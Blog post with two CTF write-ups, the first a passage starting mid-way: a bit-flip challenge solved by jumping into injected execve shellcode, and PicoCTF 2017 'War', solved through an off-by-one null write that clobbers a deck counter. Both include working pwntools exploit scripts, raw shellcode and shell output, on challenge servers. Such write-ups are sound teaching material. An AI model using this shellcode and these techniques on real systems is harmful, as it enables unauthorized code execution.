0x40009d xor qword ptr [rsi], rdi
0x4000a0 inc rsi
0x4000a3 dec rdx
0x4000a6 jne 0x400098

0x4000a8 and ecx, 0x2e
0x4000ab add cl, 0x26
0x4000ae lea rdi, [rsi + 7]
0x4000b2 lea rsi, [rdi - 0x35]
0x4000b6 repe cmpsb byte ptr [rsi], byte ptr [rdi]
Breakpoint *0x400096
pwndbg>

From above, we can see that read() is called and 0x2e bytes of data is written to 0x4000d7. So we want to try to jump somewhere within this region to execute code. From our options, it looks like the only bit to overwrite would be at 0x4000BC. We want to overwrite bit 3 so the instruction goes from 75 49 to 75 41. This would jump us to 0x4000FE. This was easily verified by flipping the single bit in a local copy of the binary and running in gdb to see where the jump would go.

Now that we know that we want to flip the bit position 3 at byte offset 0xbc, we need to figure out what shellcode we want to write to those memory positions. Since we can only jump to 0x4000FE and the writable buffer ends at 0x400105 (0x4000D7 + 0x2E = 0x400105), let’s write a short jump at 0x4000FE to jump to the beginning of our writable buffer so we have more memory space to play with.

The jump opcodes we want are EB DD, which will jump to 0x4000D7, where the beginning of our buffer is. Since we wrote our jump instruction at 0x4000FE, we have 0x27 (0x4000FE - 0x4000D7 = 0x27) bytes worth of space for our shellcode to execute a shell. I grabbed this shellcode from shellstorm after trying several other shellcode implementations that didn’t work:

1
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

Now all that’s left is to put it all together! Of course, when we write our shellcode, we need to remember that the binary does some xor’ing of the bytes. Essentially, each byte is xor’ed with the next byte from the original byte sequence. It was easy enough to write a function which does the opposite of this so that after the binary does the xor cipher, the buffer in memory is restored to our desired shellcode.

The following script connects to the remote server, tells it to flip the bit at byte offset 0xbc and bit position 3, and then writes the enciphered shellcode to get our shell:

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import sys
import time

def create_exploit_string(s):
result_rev = ''
es_rev = s[::-1]
for i, c in enumerate(es_rev):
if i == 0:
result_rev += c
else:
result_rev += chr(ord(c)^ord(result_rev[i-1]))
r = result_rev[::-1]
return r

# Shellcode from http://shell-storm.org/shellcode/files/shellcode-806.php
SHELLCODE = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
PAD_LENGTH = 0x27 - len(SHELLCODE)
PADDING = '\x90'*PAD_LENGTH
JUMP = '\xeb\xdd'
exploit_string = create_exploit_string(SHELLCODE + PADDING + JUMP)

HOST = 'arcade.fluxfingers.net'
PORT = 1807
p = remote(HOST, PORT)
p.sendline('bc')
p.clean()
p.sendline('3')
p.recvuntil('Enter the Key to win: ')
p.sendline(exploit_string)
p.interactive()
p.close()

Running this script spawns us a remote shell where we can get the flag:

1
2
3
4
5
6
7
8
9
$ python exploit.py
[+] Opening connection to arcade.fluxfingers.net on port 1807: Done
[*] Switching to interactive mode
sh: cannot set terminal process group (26641): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ $ ls
babyexploit chall flag
sh-4.4$ $ cat flag
flag{u_R_fl1ppin_good\o/keep_g0ing!}

This was a fun little challenge which didn’t require all too much stress or thinking. It was pretty straightforward and simple but I enjoyed it! Now to go work on HITCON CTF…

PicoCTF 2017 - War Writeup

It’s July 4th weekend and WCTF 2018 is running but no one on my team remembered to sign up prior to the signup deadline :cry: (sidenote: signup deadlines for CTFs should not be a thing!). In between reading Practical Malware Analysis and The Hacker Playbook 3, I’m craving some CTF practice. I decided it was time to go back to PicoCTF 2017 (which I never ended up finishing) and completing the challenges before PicoCTF 2018 goes live in September. “War” is the Master Challenge for Level 3 in PicoCTF 2017. It took me a lot longer to find the bug than I want to admit so I’m doing a writeup to compensate.


The challenge for War was given as:

1
Win a simple Card Game. Source. Connect on shell2017.picoctf.com:49182.

I was given an ELF war, the corresponding source code war.c, and, of course, the server and port to connect to (shell2017.picoctf.com:49182).

war.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define NAMEBUFFLEN 32
#define BETBUFFLEN 8

typedef struct _card{
char suit;
char value;
} card;

typedef struct _deck{
size_t deckSize;
size_t top;
card cards[52];
} deck;

typedef struct _player{
int money;
deck playerCards;
} player;

typedef struct _gameState{
int playerMoney;
player ctfer;
char name[NAMEBUFFLEN];
size_t deckSize;
player opponent;
} gameState;

gameState gameData;

//Shuffles the deck
//Make sure to call srand() before!
void shuffle(deck * inputDeck){
card temp;
size_t indexA, indexB;
size_t deckSize = inputDeck->deckSize;
for(unsigned int i=0; i < 1000; i++){
indexA = rand() % deckSize;
indexB = rand() % deckSize;
temp = inputDeck->cards[indexA];
inputDeck->cards[indexA] = inputDeck->cards[indexB];
inputDeck->cards[indexB] = temp;
}
}

//Checks if a card is in invalid range
int checkInvalidCard(card * inputCard){
if(inputCard->suit > 4 || inputCard->value > 14){
return 1;
}
return 0;
}

//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){
size_t count = 0;
char c;
while((c = getchar()) != '\n' && c != EOF){
if(count < (len-1)){
buff[count] = c;
count++;
}
}
buff[count+1] = '\x00';
printf("Setting buff offset %lu to null\n", count+1);
return count;
}

//Builds the deck for each player.
//Good luck trying to win ;)
void buildDecks(player * ctfer, player * opponent){
for(size_t j = 0; j < 6; j++){
for(size_t i = 0; i < 4; i++){
ctfer->playerCards.cards[j*4 + i].suit = i;
ctfer->playerCards.cards[j*4 + i].value = j+2;
}
}
for(size_t j = 0; j < 6; j++){
for(size_t i = 0; i < 4; i++){
opponent->playerCards.cards[j*4 + i].suit = i;
opponent->playerCards.cards[j*4 + i].value = j+9;
}
}
ctfer->playerCards.cards[24].suit = 0;
ctfer->playerCards.cards[24].value = 8;
ctfer->playerCards.cards[25].suit = 1;
ctfer->playerCards.cards[25].value = 8;
opponent->playerCards.cards[24].suit = 2;
opponent->playerCards.cards[24].value = 8;
opponent->playerCards.cards[25].suit = 3;
opponent->playerCards.cards[25].value = 8;

ctfer->playerCards.deckSize = 26;
ctfer->playerCards.top = 0;
opponent->playerCards.deckSize = 26;
opponent->playerCards.top = 0;
}

int main(int argc, char**argv){
char betStr[BETBUFFLEN];
card * oppCard;
card * playCard;
memset(&gameData, 0, sizeof(gameData));
gameData.playerMoney = 100;
int bet;

buildDecks(&gameData.ctfer, &gameData.opponent);
srand(time(NULL));//Not intended to be cryptographically strong

shuffle(&gameData.ctfer.playerCards);
shuffle(&gameData.opponent.playerCards);

setbuf(stdout, NULL);

//Set to be the smaller of the two decks.
gameData.deckSize = gameData.ctfer.playerCards.deckSize > gameData.opponent.playerCards.deckSize
? gameData.opponent.playerCards.deckSize : gameData.ctfer.playerCards.deckSize;

printf("Welcome to the WAR card game simulator. Work in progress...\n");
printf("Cards don't exchange hands after each round, but you should be able to win without that,right?\n");
printf("Please enter your name: \n");
memset(gameData.name,0,NAMEBUFFLEN);
if(!readInput(gameData.name,NAMEBUFFLEN)){
printf("Read error. Exiting.\n");
exit(-1);
}
printf("Welcome %s\n", gameData.name);
while(1){
size_t playerIndex = gameData.ctfer.playerCards.top;
size_t oppIndex = gameData.opponent.playerCards.top;
oppCard = &gameData.opponent.playerCards.cards[oppIndex];
playCard = &gameData.ctfer.playerCards.cards[playerIndex];
printf("You have %d coins.\n", gameData.playerMoney);
printf("How much would you like to bet?\n");
memset(betStr,0,BETBUFFLEN);
if(!readInput(betStr,BETBUFFLEN)){
printf("Read error. Exiting.\n");
exit(-1);
};
bet = atoi(betStr);
printf("you bet %d.\n",bet);
if(!bet){
printf("Invalid bet\n");
continue;
}
if(bet < 0){
printf("No negative betting for you! What do you think this is, a ctf problem?\n");
continue;
}
if(bet > gameData.playerMoney){
printf("You don't have that much.\n");
continue;
}
printf("The opponent has a %d of suit %d.\n", oppCard->value, oppCard->suit);
printf("You have a %d of suit %d.\n", playCard->value, playCard->suit);
if((playCard->value * 4 + playCard->suit) > (oppCard->value * 4 + playCard->suit)){
printf("You won? Hmmm something must be wrong...\n");
if(checkInvalidCard(playCard)){
printf("Cheater. That's not actually a valid card.\n");
}else{
printf("You actually won! Nice job\n");
gameData.playerMoney += bet;
}
}else{
printf("You lost! :(\n");
gameData.playerMoney -= bet;
}
gameData.ctfer.playerCards.top++;
gameData.opponent.playerCards.top++;
if(gameData.playerMoney <= 0){
printf("You are out of coins. Game over.\n");
exit(0);
}else if(gameData.playerMoney > 500){
printf("You won the game! That's real impressive, seeing as the deck was rigged...\n");
system("/bin/sh -i");
exit(0);
}

//TODO: Implement card switching hands. Cheap hack here for playability
gameData.deckSize--;
if(gameData.deckSize == 0){
printf("All card used. Card switching will be implemented in v1.0, someday.\n");
exit(0);
}
printf("\n");
fflush(stdout);
};

return 0;
}

The program seems pretty straightforward. It asks for a username, then asks you to bet while drawing cards from each deck (just like the entirely deterministic card game War). For all binary exploitation problems, I like to start out by interacting with the service for a bit, just to get a feel for what is going on:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ nc shell2017.picoctf.com 49182
Welcome to the WAR card game simulator. Work in progress...
Cards don't exchange hands after each round, but you should be able to win without that,right?
Please enter your name:
asdfasdf
Welcome asdfasdf
You have 100 coins.
How much would you like to bet?
10
you bet 10.
The opponent has a 12 of suit 2.
You have a 3 of suit 0.
You lost! :(

You have 90 coins.
How much would you like to bet?
1
you bet 1.
The opponent has a 12 of suit 1.
You have a 6 of suit 2.
You lost! :(

You have 89 coins.
How much would you like to bet?
1
you bet 1.
The opponent has a 10 of suit 0.
You have a 5 of suit 1.
You lost! :(

You have 88 coins.
How much would you like to bet?
88
you bet 88.
The opponent has a 9 of suit 0.
You have a 7 of suit 0.
You lost! :(
You are out of coins. Game over.

It seems that we are either very unlucky or the game is rigged. Looking at the code more closely, I immediately caught a couple things of interest:

  1. The buildDecks() function gives our player cards with value 8 and under while giving the opponent player cards with value 8 and higher! Unfair! Also, when giving our player cards with value 8, we get the two lower suits while the opponent gets the two higher suits. This means that we will always lose as every card in our deck is lower than every card in the opponent’s deck.
  2. Our goal is very clearly to get to more than 500 points as we will be rewarded with system("/bin/sh -i");, where we can then cat flag.txt for the solution.

I spent a lot of time looking at the code and interacting with the remote service (without even touching the binary) in a half-asleep state before seeing that the line of code which compares the current player card against the opponent’s card has a user error:

1
if((playCard->value * 4 + playCard->suit) > (oppCard->value * 4 + playCard->suit)){

Somehow, the opponent’s card value is being added to the player’s card suit, instead of the opponent’s card suit. Unfortunately, this led to a dead end since the comparison being used is greater than. Given all the cards in the player deck, we could only (at best) tie with the opponent card but that would still cause us to lose our bet.

Since our only possible interaction with the program is through our name input and our betting input, I made sure that all places where buffers were used had corresponding buffer lengths. Eventually, I came to the realization that the key to this problem lies in how input is read, via the readInput() function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){
size_t count = 0;
char c;
while((c = getchar()) != '\n' && c != EOF){
if(count < (len-1)){
buff[count] = c;
count++;
}
}
buff[count+1] = '\x00';
printf("Setting buff offset %lu to null\n", count+1);
return count;
}

The error with the above code is that the variable count can have value up to len-1 (if the user input is right up to the length of the buffer). This means that when putting in a name with a max input of 32 characters (which is the amount of buffer space given for the name), buff[32] will get overwritten with a null byte \x00. This will cause some byte clobbering in whatever comes after the buffer that gets written to. Lucky for us, the way that the binary is compiled with less optimizations so we can figure out what will get clobbered:

1
2
3
4
5
6
7
typedef struct _gameState{
int playerMoney;
player ctfer;
char name[NAMEBUFFLEN];
size_t deckSize;
player opponent;
} gameState;

deckSize will get clobbered with a null byte \x00 which works out perfectly for us since the deck size check will allow us to continue betting for more than 26 times:

1
2
gameData.deckSize--;
if(gameData.deckSize == 0){

After the clobbering, gameData.deckSize will be 0 and then decremented so we won’t enter our game end state. When we try this and continually bet 1 coin past the deck size of 26, we start to see that both decks are full of 0 values for a bit and then eventually becomes the values of our name buffer that we input earlier after we reach 48 coins:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
You have 48 coins.
How much would you like to bet?
1
you bet 1.
The opponent has a 0 of suit 0.
You have a 65 of suit 65.
You won? Hmmm something must be wrong...
Cheater. That's not actually a valid card.

You have 48 coins.
How much would you like to bet?
1
you bet 1.
1The opponent has a 0 of suit 0.
You have a 65 of suit 65.
You won? Hmmm something must be wrong...
Cheater. That's not actually a valid card.

You have 48 coins.
How much would you like to bet?

you bet 1.
The opponent has a 0 of suit 0.
You have a 66 of suit 66.
You won? Hmmm something must be wrong...
Cheater. That's not actually a valid card.

You have 48 coins.
How much would you like to bet?
1
you bet 1.
The opponent has a 0 of suit 0.
You have a 66 of suit 66.
You won? Hmmm something must be wrong...
Cheater. That's not actually a valid card.

We have to remember that the input is little endian and the layout of the data in memory is card suit then card value. From here, it’s easy to write a script to solve the challenge with pwntools:

warsol.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
import sys

HOST = 'shell2017.picoctf.com'
PORT = 49182

def main(op):

if op == 'p':
r = process('./war')
elif op == 'r':
r = remote(HOST, PORT)
else:
print 'Must specify p for process or r for remote'
sys.exit(0)
r.recv(1024)
r.sendline('\x04\x0e'*15 + 'A')

for _ in range(52):
print r.recv(1024)
r.sendline('1')

coins = 48
while coins < 500:

r.sendline(str(coins))
r.recv(1024)
coins *= 2

r.interactive()

r.close()

if __name__ == '__main__':
if len(sys.argv) < 2:
print 'Usage: python %s <p|r>' % (sys.argv[0])
sys.exit(0)

if sys.argv[1] != 'r' and sys.argv[1] != 'p':
print 'Usage: python %s <p|r>' % (sys.argv[0])
sys.exit(0)

main(sys.argv[1])

Running the script gives us a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ python warsol.py r 

...

[*] Switching to interactive mode
you bet 192.
The opponent has a 0 of suit 0.
You have a 14 of suit 4.
You won? Hmmm something must be wrong...
You actually won! Nice job

You have 384 coins.
How much would you like to bet?
you bet 384.
The opponent has a 0 of suit 0.
You have a 14 of suit 4.
You won? Hmmm something must be wrong...
You actually won! Nice job
You won the game! That's real impressive, seeing as the deck was rigged...
/bin/sh: 0: can't access tty; job control turned off
$ whoami
war_3
$ ls
flag.txt
war
war_no_aslr
xinetd_wrapper.sh
$ cat flag.txt

This took me more hours than it really should have but it was a fun challenge (as are all challenges from picoCTF). Looking forward to picoCTF 2018!